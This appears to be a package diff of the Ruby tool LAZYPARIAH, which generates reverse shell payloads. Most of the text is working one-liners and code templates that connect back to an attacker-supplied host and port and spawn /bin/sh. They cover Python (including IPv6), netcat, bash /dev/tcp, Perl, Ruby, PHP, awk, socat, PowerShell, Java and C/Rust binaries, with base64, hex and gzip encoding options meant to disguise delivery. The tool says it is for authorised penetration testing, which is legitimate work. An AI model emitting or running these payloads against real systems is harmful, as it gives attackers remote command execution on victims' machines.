lazypariah 1.1.1 → 1.5.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/bin/lazypariah +251 -63
  3. metadata +4 -4
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: f42a0713aca057276625809657d7e0dfee2487d8d8483bdcf2ae0050ac064844
4
- data.tar.gz: a5ad1b2f633e3e5b0e0f7fe045e7a2d15918b0e1d8f22ff7d8e1aaa48b0a2170
3
+ metadata.gz: c0415b7ada0a672425d133c83aa85cb221fc810c0fda582adf78e43482a95f5d
4
+ data.tar.gz: d26a608deff75da4ffb97addd17c99eca931f72912f6e5f09cc3a7f4ed62ebd4
5
5
  SHA512:
6
- metadata.gz: fae8cc3f170d58870e617cff64641aa261dabd1107b978452e51e28ac9f00008d5f8ce503ec3864f7bc6dcd7d6dd898f9630b40b84e81fc593e14a27495c0908
7
- data.tar.gz: 7d0954ed3410bd06ea784c05fe55b1bb9fc1d86e1cb2185b8eac6e034dfd3e80601ab778d2ca1a6195ed26701f85737ab9e24a786c37656192ae3ff637bbb084
6
+ metadata.gz: c319312e49840ac97f81d5455b583049663f973ed3b1b09e5e2b5efd0ebb15ee223846685660ce2aea155c597fb8b81bff07aa395230035884619ba4e3d507ac
7
+ data.tar.gz: 442031f46bcf78387803cbf6df0411465dc4be0cdd0e28009d07b54421fed3c4a4fbf302adbf74484cd75ec3f5e57564943b6fae1c9f745c3e62619207fc38d1
data/bin/lazypariah CHANGED
@@ -1,13 +1,13 @@
1
1
  #!/usr/bin/env ruby
2
2
  #
3
3
  # Title: LAZYPARIAH
4
- # Version: 1.1.1
4
+ # Version: 1.5.0
5
5
  # Description:
6
6
  # LAZYPARIAH is a simple tool for generating various reverse shell payloads
7
7
  # on the fly. It is intended to be used only in authorised circumstances by
8
8
  # qualified penetration testers, security researchers and red team professionals.
9
9
  #
10
- # Copyright (C) 2020-2021 Peter Bruce Funnell
10
+ # Copyright (C) 2020-2022 Peter Bruce Funnell
11
11
  #
12
12
  # This program is free software: you can redistribute it and/or modify it under the terms of the GNU
13
13
  # General Public License as published by the Free Software Foundation, either version 3 of the License,
@@ -29,7 +29,7 @@ require "stringio"
29
29
 
30
30
  # Define constants.
31
31
  PROGRAM_NAME = "LAZYPARIAH".freeze()
32
- PROGRAM_VERSION = "1.1.1".freeze()
32
+ PROGRAM_VERSION = "1.5.0".freeze()
33
33
  EXECUTABLE_NAME = "lazypariah".freeze()
34
34
 
35
35
  # Define payload list.
@@ -38,6 +38,10 @@ PAYLOAD_LIST = [
38
38
  "python_c",
39
39
  "python_b64",
40
40
  "python_hex",
41
+ "python_ipv6",
42
+ "python_ipv6_c",
43
+ "python_ipv6_b64",
44
+ "python_ipv6_hex",
41
45
  "nc",
42
46
  "nc_pipe",
43
47
  "php_fd",
@@ -45,6 +49,8 @@ PAYLOAD_LIST = [
45
49
  "php_fd_tags",
46
50
  "php_system_python_b64",
47
51
  "php_system_python_hex",
52
+ "php_system_python_ipv6_b64",
53
+ "php_system_python_ipv6_hex",
48
54
  "perl",
49
55
  "perl_c",
50
56
  "perl_b64",
@@ -56,15 +62,12 @@ PAYLOAD_LIST = [
56
62
  "bash_tcp",
57
63
  "awk",
58
64
  "socat",
59
- "java_class_binary",
60
- "java_class_b64",
61
- "java_class_gzip_b64",
65
+ "java_class",
62
66
  "c_binary",
63
- "c_binary_b64",
64
- "c_binary_hex",
65
- "c_binary_gzip",
66
- "c_binary_gzip_b64",
67
- "c_binary_gzip_hex"
67
+ "rust_binary",
68
+ "nc_openbsd",
69
+ "powershell_c",
70
+ "powershell_b64"
68
71
  ].sort()
69
72
 
70
73
  # Define dictionary of payload aliases for backwards compatibility with versions < 1.0.0.
@@ -86,13 +89,26 @@ PAYLOAD_BC_DICT = {
86
89
  "python3_b64"=>{"payload"=>"python_b64", "pv"=>"3"},
87
90
  "python2_b64"=>{"payload"=>"python_b64", "pv"=>"2"},
88
91
  "python3_hex"=>{"payload"=>"python_hex", "pv"=>"3"},
89
- "python2_hex"=>{"payload"=>"python_hex", "pv"=>"2"}
92
+ "python2_hex"=>{"payload"=>"python_hex", "pv"=>"2"},
93
+ "c_binary_b64"=>{"payload"=>"c_binary", "b64"=>true},
94
+ "c_binary_hex"=>{"payload"=>"c_binary", "hex"=>true},
95
+ "c_binary_gzip"=>{"payload"=>"c_binary", "gzip"=>true},
96
+ "c_binary_gzip_b64"=>{"payload"=>"c_binary", "gzip_b64"=>true},
97
+ "c_binary_gzip_hex"=>{"payload"=>"c_binary", "gzip_hex"=>true},
98
+ "rust_binary_b64"=>{"payload"=>"rust_binary", "b64"=>true},
99
+ "rust_binary_hex"=>{"payload"=>"rust_binary", "hex"=>true},
100
+ "rust_binary_gzip"=>{"payload"=>"rust_binary", "gzip"=>true},
101
+ "rust_binary_gzip_b64"=>{"payload"=>"rust_binary", "gzip_b64"=>true},
102
+ "rust_binary_gzip_hex"=>{"payload"=>"rust_binary", "gzip_hex"=>true},
103
+ "java_class_binary"=>{"payload"=>"java_class"},
104
+ "java_class_b64"=>{"payload"=>"java_class", "b64"=>true},
105
+ "java_class_gzip_b64"=>{"payload"=>"java_class", "gzip_b64"=>true}
90
106
  }
91
107
 
92
108
  # Define function for displaying program information.
93
109
  def prog_info(donation_info=true)
94
110
  puts("#{PROGRAM_NAME} #{PROGRAM_VERSION}")
95
- puts("Copyright (C) 2020-2021 Peter Bruce Funnell")
111
+ puts("Copyright (C) 2020-2022 Peter Bruce Funnell")
96
112
  if donation_info
97
113
  puts("\nBTC Donation Address (Author): 3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g")
98
114
  end
@@ -102,8 +118,8 @@ end
102
118
  option_parser = OptionParser.new do |options|
103
119
  options.banner = "\nUsage:\t#{EXECUTABLE_NAME} [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>\n"
104
120
  options.banner << "Note:\t<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.\n\n"
105
- options.banner << "Example:\tlazypariah -u python3_b64 10.10.14.4 1555\n"
106
- options.banner << "Example:\tlazypariah python2_c malicious.local 1337\n\n"
121
+ options.banner << "Example:\tlazypariah -u python_b64 10.10.14.4 1555\n"
122
+ options.banner << "Example:\tlazypariah python_c malicious.local 1337\n\n"
107
123
  options.banner << "Valid Payloads:\n"
108
124
  PAYLOAD_LIST.each do |p|
109
125
  options.banner << "#{" "*4}#{p}\n"
@@ -115,7 +131,12 @@ option_parser = OptionParser.new do |options|
115
131
  options.on("-v", "--version", "Display version information and exit.")
116
132
  options.on("-D INTEGER", "--fd INTEGER", "Specify the file descriptor used by the target for TCP. Required for certain payloads.")
117
133
  options.on("-P INTEGER", "--pv INTEGER", "Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.")
118
- options.on("-N", "--no-new-line", "Do not append a new-line character to the end of the payload.\n\n")
134
+ options.on("-N", "--no-new-line", TrueClass, "Do not append a new-line character to the end of the payload.")
135
+ options.on("--b64", "Encode a c_binary, rust_binary or java_class payload in base-64.")
136
+ options.on("--hex", "Encode a c_binary, rust_binary or java_class payload in hexadecimal.")
137
+ options.on("--gzip", "Compress a c_binary, rust_binary or java_class payload using zlib.")
138
+ options.on("--gzip_b64", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.")
139
+ options.on("--gzip_hex", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.\n\n")
119
140
  end
120
141
 
121
142
  # Define port_check method for strings.
@@ -126,14 +147,14 @@ class String
126
147
  end
127
148
 
128
149
  # Define print_output.
129
- def print_output(s, url_encode=false, new_line=true)
150
+ def print_output(s: "", url_encode: false, new_line: true)
130
151
  if url_encode
131
152
  print(ERB::Util.url_encode(s))
132
153
  else
133
154
  print(s)
134
155
  end
135
156
  if new_line
136
- puts()
157
+ puts("\n")
137
158
  end
138
159
  end
139
160
 
@@ -193,77 +214,149 @@ begin
193
214
  exit()
194
215
  end
195
216
 
217
+ # Parse encoding/compression command-line arguments for binary payloads.
218
+ b64_payload = arguments[:"b64"]
219
+ hex_payload = arguments[:"hex"]
220
+ gzip_payload = arguments[:"gzip"]
221
+ gzip_b64_payload = arguments[:"gzip_b64"]
222
+ gzip_hex_payload = arguments[:"gzip_hex"]
223
+
224
+ # Ensure that only one encoding/compression command-line argument can be used for binary payloads.
225
+ bin_cla_counter = 0
226
+ bin_cla_array = [b64_payload, hex_payload, gzip_payload, gzip_b64_payload, gzip_hex_payload]
227
+ bin_cla_array.each do |a|
228
+ bin_cla_counter += a ? 1 : 0
229
+ end
230
+ if bin_cla_counter > 1
231
+ puts("More than one encoding/compression-related command-line argument was entered. This error arises when e.g. --b64 and --gzip are both used together as separate command-line arguments. If you would like to use zlib to compress a binary payload such as c_binary or java_class and encode the result in base-64, use --gzip_b64. Only one encoding/compression-related command-line argument may be used.")
232
+ exit()
233
+ end
234
+
196
235
  # Parse payload, applying aliases for backwards compatibility with versions < 1.0.0.
197
236
  if PAYLOAD_BC_DICT.include?(ARGV[0])
198
237
  bc_dict = PAYLOAD_BC_DICT[ARGV[0]]
199
238
  selected_payload = bc_dict["payload"]
200
239
  tcp_fd = bc_dict["fd"]
201
240
  python_version = bc_dict["pv"]
241
+ b64_payload = bc_dict["b64"]
242
+ hex_payload = bc_dict["hex"]
243
+ gzip_payload = bc_dict["gzip"]
244
+ gzip_b64_payload = bc_dict["gzip_b64"]
245
+ gzip_hex_payload = bc_dict["gzip_hex"]
202
246
  else
203
247
  selected_payload = ARGV[0]
204
248
  end
205
249
 
206
250
  case selected_payload
207
251
  when "python"
208
- print_output("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
252
+ # Python reverse shell.
253
+ print_output(s: "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
254
+ when "python_ipv6"
255
+ # Python IPv6 reverse shell.
256
+ print_output(s: "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
209
257
  when "python_c"
210
- print_output("python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
258
+ # Python reverse shell (intended to be run as a command from a shell session).
259
+ print_output(s: "python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
260
+ when "python_ipv6_c"
261
+ # Python IPv6 reverse shell (intended to be run as a command from a shell session).
262
+ print_output(s: "python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
211
263
  when "python_b64"
264
+ # Base-64-encoded Python reverse shell (intended to be run as a command from a shell session).
212
265
  code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
213
- print_output("echo #{code} | base64 -d | python#{python_version}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
266
+ print_output(s: "echo #{code} | base64 -d | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
267
+ when "python_ipv6_b64"
268
+ # Base-64-encoded Python IPv6 reverse shell (intended to be run as a command from a shell session).
269
+ code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
270
+ print_output(s: "echo #{code} | base64 -d | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
214
271
  when "python_hex"
272
+ # Hex-encoded Python reverse shell (intended to be run as a command from a shell session).
215
273
  code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
216
- print_output("echo #{code} | xxd -p -r - | python#{python_version}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
274
+ print_output(s: "echo #{code} | xxd -p -r - | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
275
+ when "python_ipv6_hex"
276
+ # Hex-encoded Python IPv6 reverse shell (intended to be run as a command from a shell session).
277
+ code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
278
+ print_output(s: "echo #{code} | xxd -p -r - | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
217
279
  when "php_system_python_b64"
280
+ # Hybrid shell: python_b64 payload contained within a system function in a miniature PHP script.
218
281
  python_code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
219
- print_output("<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
282
+ print_output(s: "<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
283
+ when "php_system_python_ipv6_b64"
284
+ # Hybrid shell: python_ipv6_b64 payload contained within a system function in a miniature PHP script.
285
+ python_code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
286
+ print_output(s: "<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
220
287
  when "php_system_python_hex"
288
+ # Hybrid shell: python_hex payload contained within a system function in a miniature PHP script.
221
289
  python_code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
222
- print_output("<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
290
+ print_output(s: "<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
291
+ when "php_system_python_ipv6_hex"
292
+ # Hybrid shell: python_ipv6_hex payload contained within a system function in a miniature PHP script.
293
+ python_code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
294
+ print_output(s: "<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
223
295
  when "nc"
224
- print_output("nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
296
+ # Netcat reverse shell.
297
+ print_output(s: "nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
225
298
  when "nc_pipe"
226
- print_output("/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
299
+ # Alternative netcat reverse shell (using a pipe).
300
+ print_output(s: "/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
227
301
  when "php_fd", "php_fd_c", "php_fd_tags"
302
+ # PHP reverse shells targeting a particular file descriptor (FD).
228
303
  if not tcp_fd
229
304
  puts("The payload you have selected requires a file descriptor to be specified. Please specify the file descriptor used by the target for TCP via the command-line argument \"-D NUMBER\" or \"--fd NUMBER\".")
230
305
  else
231
306
  case selected_payload
232
307
  when "php_fd"
233
- print_output("$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
308
+ # Basic PHP reverse shell (without PHP tags).
309
+ print_output(s: "$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
234
310
  when "php_fd_c"
235
- print_output("php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
311
+ # Basic PHP reverse shell (intended to be run as a command from a shell session).
312
+ print_output(s: "php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
236
313
  when "php_fd_tags"
237
- print_output("<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");?>", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
314
+ # Basic PHP reverse shell (with PHP tags).
315
+ print_output(s: "<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
238
316
  end
239
317
  end
240
318
  when "perl"
241
- print_output("use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
319
+ # Perl reverse shell.
320
+ print_output(s: "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
242
321
  when "perl_c"
243
- print_output("perl -e 'use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
322
+ # Perl reverse shell (intended to be run as a command from a shell session).
323
+ print_output(s: "perl -e 'use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
244
324
  when "perl_b64"
325
+ # Base-64-encoded Perl reverse shell (intended to be run as a command from a shell session).
245
326
  code = Base64.strict_encode64("use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};")
246
- print_output("echo #{code} | base64 -d | perl", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
327
+ print_output(s: "echo #{code} | base64 -d | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
247
328
  when "perl_hex"
329
+ # Hex-encoded Perl reverse shell (intended to be run as a command from a shell session).
248
330
  code = "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};".unpack("H*")[0]
249
- print_output("echo #{code} | xxd -p -r - | perl", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
331
+ print_output(s: "echo #{code} | xxd -p -r - | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
250
332
  when "ruby"
251
- print_output("require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
333
+ # Ruby reverse shell.
334
+ print_output(s: "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
252
335
  when "ruby_c"
253
- print_output("ruby -e 'require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
336
+ # Ruby reverse shell (intended to be run as a command from a shell session).
337
+ print_output(s: "ruby -e 'require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
254
338
  when "ruby_b64"
339
+ # Base-64-encoded Ruby reverse shell (intended to be run as a command from a shell session).
255
340
  code = Base64.strict_encode64("require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end")
256
- print_output("echo #{code} | base64 -d | ruby", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
341
+ print_output(s: "echo #{code} | base64 -d | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
257
342
  when "ruby_hex"
343
+ # Hex-encoded Ruby reverse shell (intended to be run as a command from a shell session).
258
344
  code = "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end".unpack("H*")[0]
259
- print_output("echo #{code} | xxd -p -r - | ruby", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
345
+ print_output(s: "echo #{code} | xxd -p -r - | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
260
346
  when "bash_tcp"
261
- print_output("bash -i >& /dev/tcp/#{ARGV[1]}/#{ARGV[2]} 0>&1", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
347
+ # Bash reverse shell.
348
+ print_output(s: "bash -i >& /dev/tcp/#{ARGV[1]}/#{ARGV[2]} 0>&1", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
262
349
  when "awk"
263
- print_output("awk 'BEGIN {s = \"/inet/tcp/0/#{ARGV[1]}/#{ARGV[2]}\"; while(42) {do {printf \"[Awk Reverse Shell] >> \" |& s; s |& getline c; if (c) {while ((c |& getline) > 0) print $0 |& s; close(c);}} while (c != \"exit\") close(s);}}' /dev/null", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
350
+ # Awk reverse shell.
351
+ print_output(s: "awk 'BEGIN {s = \"/inet/tcp/0/#{ARGV[1]}/#{ARGV[2]}\"; while(42) {do {printf \"[Awk Reverse Shell] >> \" |& s; s |& getline c; if (c) {while ((c |& getline) > 0) print $0 |& s; close(c);}} while (c != \"exit\") close(s);}}' /dev/null", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
264
352
  when "socat"
265
- print_output("socat tcp-connect:#{ARGV[1]}:#{ARGV[2]} system:/bin/sh", url_encode=url_encode, new_line=!arguments[:"no-new-line"])
266
- when "java_class_binary", "java_class_b64", "java_class_gzip_b64"
353
+ # Socat reverse shell.
354
+ print_output(s: "socat tcp-connect:#{ARGV[1]}:#{ARGV[2]} system:/bin/sh", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
355
+ when "nc_openbsd"
356
+ # Netcat (OpenBSD) reverse shell.
357
+ print_output(s: "rm /tmp/r; mkfifo /tmp/r; cat /tmp/r | /bin/sh -i 2>&1 | nc #{ARGV[1]} #{ARGV[2]} > /tmp/r", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
358
+ when "java_class"
359
+ # Java class reverse shells (compiled on the fly).
267
360
  code = "import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class rs {public rs() throws Exception {Process p=new ProcessBuilder(\"/bin/sh\").redirectErrorStream(true).start();Socket s=new Socket(\"#{ARGV[1]}\",#{ARGV[2]});InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0) {so.write(pi.read());}while(pe.available()>0) {so.write(pe.read());}while(si.available()>0) {po.write(si.read());}so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;} catch (Exception e) {}}p.destroy();s.close();}}"
268
361
 
269
362
  temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
@@ -273,13 +366,24 @@ begin
273
366
 
274
367
  File.open(temp_dir+"/rs.class", "r") do |f|
275
368
  java_payload = f.read()
276
- case selected_payload
277
- when "java_class_binary"
278
- print_output(java_payload, new_line=false)
279
- when "java_class_b64"
369
+ if b64_payload
280
370
  java_payload_b64 = Base64.strict_encode64(java_payload)
281
- print_output(java_payload_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
282
- when "java_class_gzip_b64"
371
+ print_output(s: java_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
372
+ elsif hex_payload
373
+ # Hex-encoded java_class payload.
374
+ java_payload_hex = java_payload.unpack("H*")[0]
375
+ print_output(s: java_payload_hex, new_line: !arguments[:"no-new-line"])
376
+ elsif gzip_payload
377
+ # Zlib-compressed java_class payload.
378
+ sio = StringIO.new()
379
+ sio.binmode()
380
+ gz = Zlib::GzipWriter.new(sio)
381
+ gz.write(java_payload)
382
+ gz.close()
383
+ java_payload_gzip = sio.string
384
+ print_output(s: java_payload_gzip, new_line: false)
385
+ elsif gzip_b64_payload
386
+ # Zlib-compressed and base-64-encoded java_class payload.
283
387
  sio = StringIO.new()
284
388
  sio.binmode()
285
389
  gz = Zlib::GzipWriter.new(sio)
@@ -287,12 +391,26 @@ begin
287
391
  gz.close()
288
392
  java_payload_gzip = sio.string
289
393
  java_payload_gzip_b64 = Base64.strict_encode64(java_payload_gzip)
290
- print_output(java_payload_gzip_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
394
